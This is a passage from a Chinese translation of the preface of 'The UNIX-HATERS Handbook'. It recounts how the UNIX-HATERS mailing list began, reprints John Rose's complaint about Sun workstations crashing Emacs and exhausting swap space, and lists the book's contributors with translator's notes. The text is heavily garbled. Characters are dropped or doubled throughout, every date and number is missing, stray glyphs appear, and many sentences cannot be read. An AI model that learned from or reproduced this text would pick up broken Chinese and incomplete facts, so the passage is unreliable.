判 断 洞 若 观 火 , 我 们 对 能 性 的 探探 索 纯 粹 无 私 , 而 我 们 的 怒 火 发发 自 内 心 。<br />
我 们 追 求 , 而 不 是 翻 捡 陈 谷 子 烂 芝 麻 。<br />
随 着 计 算 越 来 越 追 求 经 济 性 , 我 们 被被 一 个 个 投 Unix 的 拉拉 格 ,<br />
然 我 们 的 故 事 开 始 了 。 一 开 始 我 们 互 相 交 换 笔 , 那 时 候 要 谈 及 文 化<br />
孤 立立 , 谈 及 我 们 认 是 神 秘秘 传 的 原原 始 教 仪 式 , 还 谈 及 颓 废 和 人 性 随<br />
着 时 间 的 流 , 通 过 不 断 从 观 察察 中 提 炼 出 黑 色 默 , 这 些 笔 又 成 鼓 舞 士<br />
气 的 载 体 到 最 , 就就 像 企 图 越 狱 的 囚 徒 了 比 狱 卒 更 熟 悉 狱 的 构 , 我<br />
们 在 每 墙 缝 比 划 试 探探 。 结 果 让 人 惊 恐 , 因 狱 的 计 简 直 东 倒 西 歪 。<br />
于 既 缺 牢 固 的 支 撑 , 又 缺 理 的 基 础 , 狱 在 对 有 谋 的 攻 击 时 很<br />
脆 弱 。 但 我 们 的 理 性 思 考 无 法 消 除 混 乱 , 我 们 的 言言 成 失 义 调 ,<br />
是 录 着 混 乱 和 浪 。<br />
这 书 有 一 群 被被 Unix 虐 待 过 的 人 , 内 容 来 自 “UNIX 痛 者 ” 邮 件 列<br />
表表 的 讨 。 这 些 帖 子 读 起 来 并 非 都 让 人 愉 悦 , 有 的 如 梦 方 醒 、 有 的 大 大 <br />
、 有 的 黯 然 神 伤 , 是 全 都 不 抱抱 希 望 。 如 果 你 想 读 到 故 事 的 一 , 找 <br />
Unix 操 作 指指 南 或或 者 营 销 手手 册 吧 。<br />
这 书 不 改 你 的 Unix 使 用 技 。 如 果 运 气 好 , 你 大 概概 有 能 完 全<br />
停 使 用 Unix。<br />
<br />
译 注 DEC 于 开 始 开 发发 的 操 作 系 。<br />
<br />
译 注 Incompatible Timesharing System, 期 麻 省 理 大 学 人 智 能 验 开 发发 的 操 作<br />
系 , 运 行 的 计 算 机 是 DEC PDP-。<br />
<br />
译 注 一 种 影 响 力 极 大 的 时 分 操 作 系 , 见 文 第 一 。<br />
<br />
译 注 阿 波 罗 电 脑 在 至 开 发发 的 系 列 作 站 , 操 作 系 是 Domian/OS。 阿 波 罗 电<br />
脑 于 被被 惠 收 购 。<br />
<br />
译 注 Lisp Machine, 一 种 通 用 计 算 机 , 计 目 标 是 高 效 运 行 Lisp 的 件 , 随 着 廉 价<br />
PC 的 起 而 没没 落 。<br />
<br />
译 注 施 帕 罗 奥 托托 研 究 中 心 自 期 开 发发 的 两 种 编 程程 语 言言 。<br />
<br />
译 注 Dorado, 施 帕 罗 奥 托托 研 究 中 心 自 开 始 开 发发 的 高 性 能 个 人 计 算 机 , 是 奥 托托 个 人 电<br />
脑 的 续 品 。<br />
<br />
译 注 指指 前 苏 联 的 改 营 , 源 自 索 尔尔 仁 尼 琴 的 作 品 《 拉拉 格 群 岛岛 》。
· xix·<br />
“UNIX 痛 恨 者 ” 的 历 史<br />
那 是 在 , 一 麻 省 理 大 学 媒 体 验 的 研 究 生 , 米 歇 尔尔 核 特<br />
拉拉 弗 , 迈 开 通 往 来 的 第 一 。 几 来 , 在 Symbolics Lisp 机 ( 昵<br />
称 LispM) 盒 盒 这 是 验 最 高 级 的 两 作 站 一 盒 盒 的 端 , 特 拉拉<br />
弗 编 写 了 大 美 的 程程 序 。 但 一 切 都 走 向 了 结 出 于 效 率 和 成 的 考 虑 ,<br />
媒 体 验 决 淘 汰汰 LispM。 特 拉拉 弗 发发 现 , 如 果 想 继 续 在 MIT 从 事 研 究 , 那<br />
么 他 必 使 用 验 的 VAX 大 型 机 。<br />
而 VAX 运 行 的 是 Unix。<br />
长 久 来 ,MIT 都 某 些 特 殊 的 操 作 系 维 护 着 邮 件 列 表表 。 这 些 邮 件 列<br />
表表 是 系 黑 准 备 的 , 比 如 “ITS 爱 好 者 ” 就就 向 MIT 人 智 能 验 的<br />
ITS 程程 序 员 和 用 户户 这 些 邮 件 列 表表 的 成 员 都 是 专 家 盒 盒 那 些 能 够 并 且 已 经 写<br />
过 操 作 系 的 人 。 米 歇 尔尔 核 特 拉拉 弗 决 建 一 个 新 的 列 表表 , 他 称 “UNIX<br />
痛 者 ”。<br />
期 Thu, Oct :: EDT<br />
来 自 米 歇 尔尔 核 特 拉拉 弗 <br />
发发 给 UNIX 痛 者<br />
题 迎 来 到 UNIX 痛 者 邮 件 列 表表<br />
这 个 邮 件 列 表表 秉 承 “TWENEX 痛 者 ” 的 传 , 向 那 些 无 法 接接 最 新 操 作 系 技 术<br />
的 怪 人 。<br />
<br />
译 注 Michael Travers。<br />
<br />
译 注 生 Lisp 机 的 多 家 一 。<br />
<br />
译 注 TOPS- 操 作 系 的 绰 。
· xx· 目 录<br />
如 果 你 并 不 痛 Unix, 那 么 请 通 知 我 从 中 删 除 你 的 邮 件 地 址 。 如 果 你 认 有 人 需 要<br />
给 挫 折折 感 找 个 发发 泄泄 情 感 的 出 , 那 么 请 把把 他 来 。<br />
在 发发 到 UNIX 痛 者 的 第 一 封封 邮 件 中 , 米 歇 尔尔 转 载 了 一 份 对 Sun 品 有<br />
理 有 据据 的 声 讨 , 作 者 是 一 当 时 来 到 Unix 拉拉 格 的 囚 徒 约 翰 核 罗 斯<br />
, 麻 萨 诸 塞 某 著 计 算 机 厂厂 商 ( 律 师 承 诺 , 要 不 出 现 该 的 字 ,<br />
就就 不 起 我 们 ) 的 员 。 和 米 歇 尔尔 一 , 约 翰 最 近 被被 迫 从 LispM 转 向<br />
Unix, 在 被被 数 据据 丢 失 折折 磨 整 整 一 周 , 他 给 内 部 的 支 持 邮 件 列 表表 发发 去去<br />
一 封封 信 <br />
期 Fri, Feb :: EST<br />
来 自 约 翰 核 罗 斯<br />
发发 给 sun-users、systems<br />
Sun 品 的 点 和 缺 点<br />
好 吧 , 我 现 在 有 一 分 钟 的 空空 闲 时 间 了 , 因 Sun 的 编 辑 窗窗 从 我 眼 皮 蒸 发发 , 整<br />
整 一 的 Emacs 作 成 果 没没 了 。<br />
所 题 很 自 然 地 冒 出 来 了 ,Sun 品 的 好 处 和 处 究 是 什 么 ?<br />
今 是 我 使 用 Sun 品 的 第 五 , 碰 是 Emacs 崩 溃 的 第 五 。 所 我 觉 得 我 感 到<br />
了 Sun 品 的 好 处 。<br />
一 个 很 明 显 的 感 觉 是 启 真 的 很 快 , 如 果 你 还 没没 有 见 过 Sun 机 启 , 那 真 该 看 看 。 对<br />
LispM 的 用 户户 这 是 一 个 好 消 息 , 因 LispM 启 一 需 要 整 个 午 。<br />
Sun 还 有 一 个 好 处 是 简 洁 。 你 还 得 吗 ,LispM 总 是 用 一 个 张 牙 舞 爪 的 调 试 显 示 晕 死<br />
人 的 调 用 栈 , 然 等 你 指指 示 一 作 ? 不 过 Sun 机 总 是捔 知 道 一 怎 么 生 一<br />
个 吐 文 件 然 捣 乱 的 程程 。 还 有 什 么 比 这 个 更 简 单 的 ? 如 果 有 窗窗 被被 程程 打 开 了 ,<br />
那 么 将将 立立 即 被被 ( 有 没没 有 扫 地 出 门 的 感 觉 ?)。 这 种 简 洁 极 大 地 缩 了 调 试 时 间 , 因 <br />
你 立立 刻 失 去去 了 找 出 题 的 所 有 希 望 , 而 能 新 开 始 你 才 行 的 复 杂 任 。 在 这<br />
种 时 候 , 你 能 启 , 来 吧 , 很 快 的 !<br />
Sun 机 启 快 , 中 一 个 原原 因 是 启 的 目 少少 。LispM 将将 码 装装 入 内 存 的 时 , 还 要<br />
装装 入 大 调 试 信 息 。 例 如 每 个 函 数 都 要 录 参参 数 的 字 、 局 部 的 字 、 宏 展展 开 <br />
前 的 字 、 文 档 字 符 串 , 有 时 候 了 提 供 足 够 的 信 息 , 还 要 解解 释 处 理 的 函 数 <br />
义 。<br />
对 了 , 还 要 得 每 个 函 数 在 哪 个 文 件 义 。 你 想 象 不 出 这 有 多 么 有 用 要 在 编 辑 中<br />
按按 Meta 键 并 时 用 鼠 标 点 击 任 意 函 数 , 就就 立立 即 把把 你 带 到 该 函 数 的 源 码 , 而<br />
不 打 乱 你 的 作 调 。 注 意 是 任 意 函 数 , 而 不 仅 仅 是 先 确 的 那 几 个 。 与 类 似 ,<br />
按按 外 一 个 键 立立 即 显 示 对 某 个 函 数 的 调 用 序 。<br />
最 近 几 登 录 Sun 机 , 我 “Meta 点 击 ” 的 能 仍 然 强 烈 , 但 却 感 到 挫 折折 。 我 <br />
编 写 的 程程 序 有 大 约 个 文 件 。 如 果 需 要 编 辑 函 数 Foo 的 码 , 我 得 切 换 到 一 个 shell 窗窗<br />
, 然 用 grep 搜搜 索 若 文 件 我 还 得 敲 入 确 的 文 件 , 及 纠 拼 写 错 误 最 还<br />
要 在 文 件 中 查 找 。 前 五 秒 钟 的 事 情 现 在 一 分 钟 都 搞搞 不 ( 比 得 扔 啊 !)。 时 , 我<br />
真 想 看 到 Sun 最 好 的 一 , 所 忍 不 把把 机 拿 来 启 几 。<br />
Unix 有 个 妙 无 比 的 命 “strip”, 用 来 剥 离 程程 序 的 所 有 调 试 信 息 。Unix 的 程程 序<br />
( 例 如 Sun 的 窗窗 系 ) 理 所 当 然 都 被被 strip 处 理 过 , 因 调 试 信 息 占 用 磁 空空 间 , 还<br />
拖 慢 启 度 。 不 过 你 就就 没没 法 使 用 调 试 了 , 但 这 不 一 是 什 么 损 失 , 你 见 过 Unix 调<br />
试 吗 ? 真 的 。<br />
<br />
译 注 John Rose。
· xxi·<br />
你 知 道 吗 ? 所 有 标 准 的 Sun 窗窗 用 程程 序 (“”) 就就 是 一 个 .M 的 二 制 庞 然<br />
大 物 , 这 是 了 在 间 共 享 码 ( 这 码 不 少少 )。LispM 是 这 共 享 码<br />
的 , 这 难 道 不 好 吗 ? 我 们 的 作 站 共 享 码 , 所 节 约 了 买 内 存 的 钱 。<br />
在 标 准 的 Sun 窗窗 用 程程 序 (“”) 中 , 没没 有 哪 个 支 持 Emacs。Unix 程程 序 没没 法 直 接接<br />
打 补补 丁 你 得 有 源 码 才 能 先 给 源 码 打 补补 丁 , 然 整 个 新 编 译 。<br />
但 我 真 想 Emacs 能 用 鼠 标 啊 。 所 我 ( 从 GNU 源 文 件 ) 找 了 几 百 行 码 来 编 译 , 然 <br />
链 接接 到 标 准 Sun 窗窗 用 程程 序 (“”) 共 享 的 码 。 好 极 了 !Emacs 用 鼠 标 了 ! 就就<br />
像 LispM 一 。 我 得 在 LispM , 了 让 端 程程 序 和 Emacs 一 起 运 行 , 有 类 似 的 手手<br />
段 , 需 要 大 约 二 十十 行 Lisp 码 ( 所 做 的 事 情 没没 那 么 多 , 比 得 扔 啊 !)。<br />
所 我 很 开 心 地 用 鼠 标 操 作 Emacs。 但 很 快 Emacs 开 始 抱抱 怨 , 比 如 “ 内 存 耗 尽 ” 和 “ 内<br />
存 错 误 , 已 生 吐 文 件 ”,Unix 怜 的 端 显 示 着 “clntudp_create 内 存 耗<br />
尽 ”。 最 , 我 的 Emacs 窗窗 觉 得 “ 每 一 死 ” 的 时 间 到 了 。<br />
到 发发 生 了 什 么 ? 明 显 有 两 件 事 情 。 首 先 , 当 我 了 向 Emacs 发发 鼠 标 点 击 而 给 窗窗 系<br />
打 补补 丁 , 结 果 是 生 一 个 新 的 .M 的 二 制 文 件 , 而 不 是 和 标 准 的 Sun 窗窗 <br />
用 程程 序 (“”) 共 享 码 。<br />
这 就就 是 , 窗窗 系 所 运 行 的 , 及 占 用 磁 交 换 空空 间 的 共 享 码 不 是 一 大 块 , 而 是 两<br />
大 块 , 二 者 几 完 全 一 , 仅 仅 几 个 码 页 不 。 所 我 付 出 成 的 交 换 空空 间 , 是<br />
了 在 编 辑 中 使 用 鼠 标 (Emacs 身 是 第 大 块 )。<br />
Sun 的 操 作 系 内 就就 是 内 存 消 耗 大 户户 , 何 况 对 窗窗 系 的 丁 点 改 都 得 复 制 整 块 <br />
码 。 但 这 不 是 全 部 原原 因 肯 还 有 别 的 什 么 程程 序 在 吞 交 换 空空 间 。 比 如 有 些 网 程程 序<br />
不 仅 数 据据 段 大 得 惊 人 , 内 存 消 耗 还 持 续 增 长 , 我 估 计 到 最 交 换 分 区 渣 不 剩 。 所<br />
Sun 机 不 能 续 运 行 久 , 这 是 我 何 喜 Sun 的 快 启 。<br />
但 什 么 网 服 消 耗 的 内 存 越 来 越 多 ? 你 知 道 Sun 的 程程 序 在 运 行 时 分 配 极 复 杂 的<br />
数 据据 结 构 , 你 得 在 每 个 分 配 的 数 据据 调 用 “free” 然 而 理 解解 的 是 , 有 时 候 程程 序 员 <br />
疏 忽 或或 者 厌 倦 , 导 致 一 些 垃 圾 能 回 收 。 所 最 交 换 空空 间 没没 有 了 ! 这 个 现 象 让 我 开 始<br />
白 做 梦 , 想 有 一 种 作 站 架 构 , 建 立立 和 操 作 大 块 、 复 杂 、 互 相 引 用 的 数 据据 结 构 <br />
行 过 化 , 还 能 在 无 需 程程 序 员 的 情 况 自 释 放 空空 间 。 这 的 作 站 续 几 <br />
运 行 , 还 回 收 垃 圾 , 而 不 用 借 时 的 启 。<br />
但 是 , 当 然 ,Sun 机 启 很 快 的 ! 快 到 有 时 候 脆 自 启 , 来 告 你 内 存 已 耗 尽 。<br />
唉 , 控 制 又 抱抱 怨 内 存 不 足 了 。 糟 糕 , 没没 时 间 周 我 失 去去 的 它 LispM 能 了 ,<br />
比 如 增 式 新 编 译 和 装装 载 , 还 有 通 过 Lisp Listener 行 增 测 试 , 还 有 增 新 <br />
能 的 窗窗 系 ( 我 真 想 念 能 处 理 鼠 标 的 Lisp 表表 单 啊 ), 还 有 彻 区 分 整 数 和 指指 针 的 全<br />
架 构 , 还 有 Control、Meta 和 Suspend 组 键 , 还 有 手手 册 。<br />
启 时 间 到 了 !<br />
这 封封 邮 件 首 先 约 翰 核 罗 斯 发发 给 内 部 的 一 个 邮 件 列 表表 , 来 鬼 使 神<br />
差 地 转 给 了 媒 体 验 的 米 歇 尔尔 核 特 拉拉 弗 。 那 时 米 歇 尔尔 在 准 备 给 自 己 和 痛<br />
Unix 的 伴 建 一 个 邮 件 列 表表 , 然 把把 这 封封 邮 件 发发 出 去去 , 对 约 翰 并 不<br />
知 情 , 但 米 歇 尔尔 确 这 么 做 了 , 而 且 七 的 今 , 约 翰 还 与 几 百 个 帐 一<br />
起 存 在 于 UNIX 痛 者 列 表表 中 。<br />
怒 火 息 , 约 翰 核 罗 斯 声 明 如 <br />
[ 真 的 各 尽 管 遇 到 麻 烦 , 我 还 是 尽 力 让 我 们 的 Sun 机 没没 有 白 买 , 针 对 的 <br />
题 就就 有 好 几 种 解解 决 方 案 。 我 尤尤 感 谢 比 尔尔 我 扩扩 大 了 交 换 分 区 。 纯 粹 CPU 度 来<br />
看 ,Sun 机 确 运 行 得 很 快 。 但 那 时 候 我 该 冷 静 一 , 因 编 辑 消 失 真 的 让 人 <br />
火 。]
· xxii· 目 录<br />
一 些 声 明 。 提 到 的 购 买 Unix 作 站 是 了 省 钱 , 但 了 补补 偿<br />
更 高 的 支 持 成 和 生 率 , 飞 快 ( 并 不 断 ) 花 出 去去 的 钱 已 经 是 省 来 的<br />
好 几 倍 。 很 不 幸 , 现 在 我 们 更 清 楚楚 地 知 道 时 已 晚 ,Lisp 机 已 经 是 去去 的<br />
忆 人 人 都 在 使 用 Unix。 大 多 数 人 认 Unix 是 很 不 错 的 操 作 系 。 毕 ,<br />
还 是 比 DOS 要 好 。<br />
是 比 DOS 好 吗 ?<br />
你 不 是捔 一 个 人<br />
如 果 你 曾 经 操 作 过 Unix 系 , 那 么 大 概概 见 了 我 们 体 验 过 或或 者 <br />
过 的 梦 魇 。 你 大 概概 误 删 过 文 件 , 四 处 求 却 被被 告 知 这 是 自 找 的 , 或或 者 还 要 过<br />
分 , 这 是 什 么 “ 成 人 仪 式 ” 你 大 概概 花 过 几 个 小小 时 给 朋 友 写 了 封封 痛 彻 心 扉扉<br />
的 信 , 却 被被 抽 疯 的 邮 件 程程 序 搞搞 丢 了 , 或或 者 还 要 过 分 , 脆 给 别 人 。 我 们 将将<br />
要 证 明 你 不 是 一 个 人 , 你 和 Unix 间 的 题 不 是 你 成 的 。<br />
我 们 的 怨 气 不 针 对 Unix 身 , 还 有 Unix 狂 热 者 所 捍捍 卫卫 和 孳 生 的 邪<br />
教 。 他 们 把把 瘟 疫 当 成 予 , 还 像 巫 师 一 , 展展 示 身 的 伤 盒 盒 有 些 是<br />
自 残 盒 盒 作 力 和 巫 术 的 证 据据 。 我 们 将将 要 直 言言 和 默 表表 明 , 他 们 不<br />
过 是 在 崇 拜 一 尊尊 泥 菩 萨 , 及 有 科 学 , 而 非 教 , 才 是 通 往 有 用 并 友 好 技<br />
术 的 坦 途 。<br />
如 果 把把 花 在 维 护 发发 展展 Unix 的 时 间 精 力 用 于 一 个 更 的 操 作 系 ,<br />
那 么 计 算 机 科 学 的 发发 展展 深 入 快 得 多 。 希 望 有 一 ,Unix 被被 收 录 <br />
历 史 书 和 计 算 机 科 学 博博 物 馆 , 成 一 段 昂 贵 但 有 趣 的 注 脚 。<br />
贡 献 者 及 致 谢<br />
了 编 写 这 书 , 编 辑 们 提 炼 了 “UNIX 痛 者 ” 邮 件 列 表表 来<br />
的 存 档 。 每 份 引 用 的 帖 子 都 有 这 些 献 者 的 字 , 书 的 尾 还 有 索 引 。<br />
余 的 文 字 来 自 该 列 表表 中 几 感 到 有 任 参参 与 这 揭揭 露 的 专 家 。 我 们 是 <br />
西 蒙 · 格掫 芬 科 , 者 计 算 机 科 学 研 究 者 。 西 蒙 在 麻 省 理 大 学 获 得<br />
个 学 士 学 , 在 伦 比 亚 大 学 获 得 一 个 新 闻 学 硕 士 学 。 现 在 的 他 该 在<br />
研 究 所 攻 读 博博 士 , 但 接接 触触 书 似 感 到 更 有 趣 。 西 蒙 是 《 用 Unix<br />
及 因 特 网 全 》 [] ( 奥 莱 利 出 版 社 ,) 及 《NEXTSTEP 编 程程 》 ( 施<br />
<br />
译 注 Simson Garfinkel。<br />
<br />
译 注 O'Reilly and Associates。<br />
<br />
译 注 NeXTSTEP ProgrammingSTEP ONEObject-Oriented Applications,ISBN--。
· xxiii·<br />
林 格 出 版 社 ,) 的 著 者 。 在 担 任 编 辑 外 , 西 蒙 还 撰撰 写 了 “ 你 <br />
文 档 吗 ?”、“ 文 件 系 ” 和 “ 全 ” 等 节 。<br />
尼 尔 · 魏 斯 , 微 研 究 院 的 研 究 员 。 尼 尔尔 在 MIT 人 智 能 验 <br />
获 得 博博 士 和 硕 士 学 , 还 曾 经 是 斯 坦 福 大 学 电 子 程程 系 的 教 , 直 到 来 决<br />
投 身 DOS 和 Windows 的 真 世 界 。 在 先 从 事 轻 闲 的 学 术 作 时 , 尼<br />
尔尔 拿 出 时 间 来 参参 与 书 。 自 从 离 开 斯 坦 福 来 到 雨 濛 濛 的 华 盛 湖 畔 , 尼 尔尔<br />
有 了 新 的 生 活 心 一 份 满 挑挑 战战 的 新 作 , 及 一 个 虎 头 虎 脑 、 满 地 乱 爬<br />
的 小小 家 。 除 了 在 初 期 担 任 编 辑 , 尼 尔尔 还 撰撰 写 了 “ 迎 你 , 新 用 户户 ”、“ 邮<br />
件 ” 和 “ 端 错 乱 ” 的 大 部 分 内 容 。<br />
斯 蒂 芬 · 斯 特 拉 斯 曼捪 , 苹 果 电 脑 的 资 深 科 学 家 。 斯 蒂 芬 在 麻 省 理<br />
大 学 的 媒 体 验 得 哲 学 博博 士 学 , 他 的 专 长 是 让 计 算 机 学 举 得<br />
体 。 , 斯 蒂 芬 在 “UNIX 痛 者 ” 邮 件 列 表表 发发 出 的 一 篇 檄 文 , 成 <br />
书 生 的 契 机 。 斯 蒂 芬 目 前 致 力 于 苹 果 的 Dylan 开 发发 环 境 。<br />
约 翰 · 克 洛 斯 勒 , 居居 在 布 的 漫 画 家 , 作 品 在 美 国 东 北 各 州 随<br />
处 见 。 在 闲 暇 时 间 , 约 翰 乘 共 交 通 四 处 旅 行 。<br />
唐 纳 德 · 诺 曼捪 , 苹 果 电 脑 院 士 , 是 圣 迭 利 福 尼 亚 大 学 的 誉<br />
教 授 。 唐 纳 德 写 过 书 包 括括 《 计 心 理 学 》 [] 。<br />
尼 斯 · 里 奇 ,AT&T 贝 尔尔 验 计 算 技 术 研 究 部 门 的 管 。 尼 斯<br />
和 肯 核 汤汤 逊<br />
<br />
被被 很 多 人 Unix 父 。 出 于 , 我 们 邀 请 尼 斯 核 <br />
写 了 那 篇 唱 反 调 的 序 言言 。<br />
斯 科 特 · L · 伯 森揄 ,Lisp 机 第 一 种 C 编 译 ,Zeta C 的 作 者 。 现 在<br />
他 在 硅 谷 当 , 摆 C++ 生 。 斯 科 特 编 写 了 C++ 那 的 大 部 分 内 容 。<br />
唐 · 霍 普捚 金 斯 , 经 验 老 到 的 用 户户 界 计 师 和 图 形 程程 序 员 。 在 人 机 交<br />
互 验 当 研 究 员 时 , 唐 拿 到 了 马 兰 大 学 的 计 算 机 科 学 科 学 。 唐 曾<br />
经 供 于 UniPress 件 、Sun 微 系 、 图 灵 学 院 及 卡 内 基 梅 隆 大<br />
学 。 在 DUX 件 期 间 , 唐 将将 模 拟拟 城 市 移移 植植 到 NeWS 和 X 。 唐 现 在 任<br />
于 Kaleida 。 唐 编 写 了 “X-Windows 灾 ”( 了 激 怒 X 的 信 徒 们 , 唐<br />
<br />
译 注 Springer-Verlag。<br />
<br />
译 注 Daniel Weise。<br />
<br />
译 注 Steven Strassmann。<br />
<br />
译 注 Dylan 语 言言 现 的 成 开 发发 环 境 。Dylan 是 苹 果 牛 的 开 发发 包 和 用 编 程程 语 言言 。<br />
<br />
译 注 John Klossner。<br />
<br />
译 注 Dennis Ritchie。<br />
<br />
译 注 Ken Thompson。<br />
<br />
译 注 Scott L. Burson。<br />
<br />
译 注 Don Hopkins。
· xxiv· 目 录<br />
专 门 要 求 在 X 横 线 , 并 用 Window 的 复 数 形 式 , 然 作 标<br />
题 。)<br />
马 克 · 洛 特 , 自 从 第 一 参参 Usenix 就就 十十 分 痛 Unix。<br />
马 克 当 过 TOPS- 系 的 程程 序 员 , 然 又 做 了 几 Unix 系 管 理 员 。<br />
发发 现 Unix 伤 不 起 , 马 克 现 在 给 微 处 理 编 写 汇汇 编 码 , 因 不 用 担 心<br />
被被 什 么 操 作 系 、shell、 编 译 , 或或 者 窗窗 系 挡 道 。 马 克 撰撰 写 了 “ 系 管<br />
理 ” 一 。<br />
克 里 斯 托 弗 · 前 田 , 操 作 系 专 家 , 有 望 在 书 出 版 时 获 得 卡 耐 基 梅<br />
隆 大 学 博博 士 学 。 克 斯 托托 弗 撰撰 写 了 “ 编 写 程程 序 ” 的 大 部 分 内 容 。<br />
瑞 奇 · 扎 尔 茨 , 开 放 件 基 金 的 资 深 件 程程 师 , 致 力 于 开 发发 分<br />
布 式 计 算 环 境 。 瑞 在 Usenet 活 跃 已 久 , 在 担 任 comp.sources.unix 版<br />
的 几 内 , 他 立立 了 发发 布 Usenet 源 码 的 事 标 准 并 沿 用 至 今 。 瑞 还<br />
承 担 着 InterNetNews,Usenet NNTP 最 好 的 现 一 。 瑞 更 要 的 经<br />
历 是 两 当 选 MIT 校 园 报 纸 《The Tech》 的 编 , 但 他 都 离 开 学 校 而 能<br />
完 成 任 期 。 瑞 献 了 “ 瞌 睡 网 ” 一 。<br />
在 编 写 书 时 , 我 们 大 引 用 及 并 了 人 士 的 邮 件 尔尔 核 格 内<br />
、 格 雷 格 核 德 森森 、 朱 迪 核 德 森森 、 罗 伯 核 奥 斯 丁 、 艾 伦 核 鲍 登 、<br />
艾 伦 核 鲍 宁 、 尔尔 核 巴 德 内 、 戴 维 核 查 曼 、 帕 维 尔尔 核 柯 蒂 斯 、 马<br />
克 核 弗 德 曼 、 姆 核 戴 维 斯 、 约 翰 核 R 核 邓 宁 、 莱 昂 纳 多 核 福 勒<br />
<br />
<br />
译 注 Mark Lottor。<br />
<br />
译 注 Christopher Maeda。<br />
<br />
译 注 Rich Salz。<br />
<br />
译 注 Open Software Foundation。<br />
<br />
译 注 Distributed Computing Environment, 期 阿 波 罗 、IBM、DEC 等 联 开 发发 的 件 系<br />
, 提 供 了 编 写 户户 端 / 服 用 的 框 架 和 。<br />
<br />
译 注 麻 省 理 大 学 历 史 最 长 , 发发 行 最 广 的 校 园 报 纸 , 立立 。<br />
<br />
译 注 Phil Agre。<br />
<br />
译 注 Greg Anderson。<br />
<br />
译 注 Judy Anderson。<br />
<br />
译 注 Rob Austein。<br />
<br />
译 注 Alan Bawden。<br />
<br />
译 注 Alan Borning。<br />
<br />
译 注 Phil Budne。<br />
<br />
译 注 David Chapman。<br />
<br />
译 注 Pavel Curtis。<br />
<br />
译 注 Mark Friedman。<br />
<br />
译 注 Jim Davis。<br />
<br />
译 注 John R. Dunning。<br />
<br />
译 注 Leonard N. Foner。
· xxv·<br />
、 西 蒙 核 格 芬 科 、 克 斯 核 格 斯 、 肯 核 哈 瑞 斯 丁 、 伊 核 霍 斯 威 尔尔<br />
<br />
、 布 鲁 斯 核 豪 尔尔 德 、 大 卫卫 核 卡 曼 、 汤汤 姆 核 莱 特 、 罗 伯 特 核 克 拉拉 耶 <br />
斯 基 、 詹詹 姆 斯 核 李 核 约 翰 逊 、 杰 瑞 核 雷 特 、 姆 核 麦 克 唐 纳 、 大<br />
卫卫 核 曼 金 斯 、 理 查 德 核 马 纳 利 克 、 尼 克 核 帕 帕 扎 基 斯 、 米 歇 尔尔 核 A 核<br />
巴 、 肯 特 核 M 核 皮 特 曼 、 乔 纳 森森 核 斯 、 斯 蒂 芬 核 罗 斯 、M 核<br />
斯 崔 特 核 罗 斯 、 罗 伯 特 核 E 核 西 斯 托托 姆 、 奥 林 核 席 瓦 斯 、 帕 特 克 核<br />
苏 巴 瓦 罗 、 克 斯 托托 弗 核 斯 泰 西 、Stanley's Tool Works、 斯 蒂 芬 核 斯 特<br />
拉拉 斯 曼 、 迈 克 尔尔 核 泰 曼 、 米 歇 尔尔 核 特 拉拉 弗 、 大 卫卫 核 维 纳 亚 克 核 华 莱 士 、<br />
戴 维 核 威 茨 曼 、 核 魏 因 勒 卜卜 、 尼 尔尔 核 魏 斯 、 约 翰 核 弗 罗 茨 瓦 、<br />
尔尔 核 撒 迦 利 亚<br />
<br />
和 杰 米 核 扎 瓦 斯 基 。<br />
Unix 呕 吐 袋袋 的 意 来 自 尔尔 特 核 施 穆穆 克 尔尔 , 这 是 一 世 界 级 的 C++<br />
痛 者 , 是 臭 扬 的 C++ 呕 吐 袋袋 的 计 者 。 谢 谢 你 , 尔尔 特 。<br />
还 有 多 人 给 了 我 们 建 和 支 持 , 但 书 中 没没 有 收 录 他 们 的 文 字 。 他 们 当<br />
<br />
译 注 Chris Garrigues。<br />
<br />
译 注 Ken Harrenstien。<br />
<br />
译 注 Ian D. Horswill。<br />
<br />
译 注 Bruce Howard。<br />
<br />
译 注 David H. Kaufman。<br />
<br />
译 注 Tom Knight。<br />
<br />
译 注 Robert Krajewski。<br />
<br />
译 注 James Lee Johnson。<br />
<br />
译 注 Jerry Leichter。<br />
<br />
译 注 Jim McDonald。<br />
<br />
译 注 Dave Mankins。<br />
<br />
译 注 Richard Mlynarik。<br />
<br />
译 注 Nick Papadakis。<br />
<br />
译 注 Michael A. Patton。<br />
<br />
译 注 Kent M. Pitman。<br />
<br />
译 注 Jonathan Rees。<br />
<br />
译 注 Stephen E. Robbins。<br />
<br />
译 注 M. Strata Rose。<br />
<br />
译 注 Robert E. Seastrom。<br />
<br />
译 注 Olin Shivers。<br />
<br />
译 注 Patrick Sobalvarro。<br />
<br />
译 注 Christopher Stacy。<br />
<br />
译 注 Michael Tiemann,Cyguns Solutions 的 始 人 一 。<br />
<br />
译 注 David Vinayak Wallace,Cyguns Solutions 的 始 人 一 。<br />
<br />
译 注 David Waitzman。<br />
<br />
译 注 Dan Weinreb。<br />
<br />
译 注 John Wroclawski。<br />
<br />
译 注 Gail Zacharias。<br />
<br />
译 注 Jamie Zawinski,XEmacs 和 Natescape Navigator 的 开 发发 者 。<br />
<br />
译 注 Kurt Schmucker。
· xxvi· 目 录<br />
中 有 贝 丝 核 罗 森森 伯 格 、 核 鲁 比 、 亚 历 山山 大 核 舒 尔尔 金 、 米 亚 姆 核 塔 克<br />
尔尔 、 戴 维 核 魏 斯 , 及 拉拉 核 耶 瓦 布 。<br />
多 人 阅 读 了 书 的 手手 稿稿 并 提 出 意 见 。 我 们 尤尤 要 感 谢 朱 迪 核 德 森森 、<br />
尔尔 核 格 内 、 贾 纳 核 C 核 布 朗 、 米 歇 尔尔 核 科 、 米 歇 尔尔 核 斯 特 、<br />
大 卫卫 核 希 、 唐 核 霍 金 斯 、 鲁 文 核 勒 纳 、 大 卫卫 核 曼 金 斯 、 埃 克 核 雷<br />
蒙 德 、 保 罗 核 鲁 、M 核 斯 崔 特 核 罗 斯 、 克 核 斯 托托 尔尔 、 伦 核 小小<br />
陶 尔尔 、 米 歇 尔尔 核 特 拉拉 弗 、 戴 维 核 威 茨 曼 , 还 有 迪 核 沃沃 森森 。 特 别 感 谢 你<br />
们 所 有 的 订 、 建 , 及 找 出 错 别 字 。<br />
我 们 要 特 别 感 谢 Waterside Productions 的 马 修 核 瓦 格 纳 。 马 修 在<br />
月 就就 参参 与 来 , 并 在 西 蒙 接接 替 尼 尔尔 一 仍 然 保 持 趣 。 马 修<br />
帮 我 们 接接 洽 了 IDG Programmers Press 的 克 斯 托托 弗 核 威 廉 姆 斯 。 爽 快 地<br />
签 约 , 克 斯 请 特 鲁 迪 核 诺 茵 郝 丝<br />
<br />
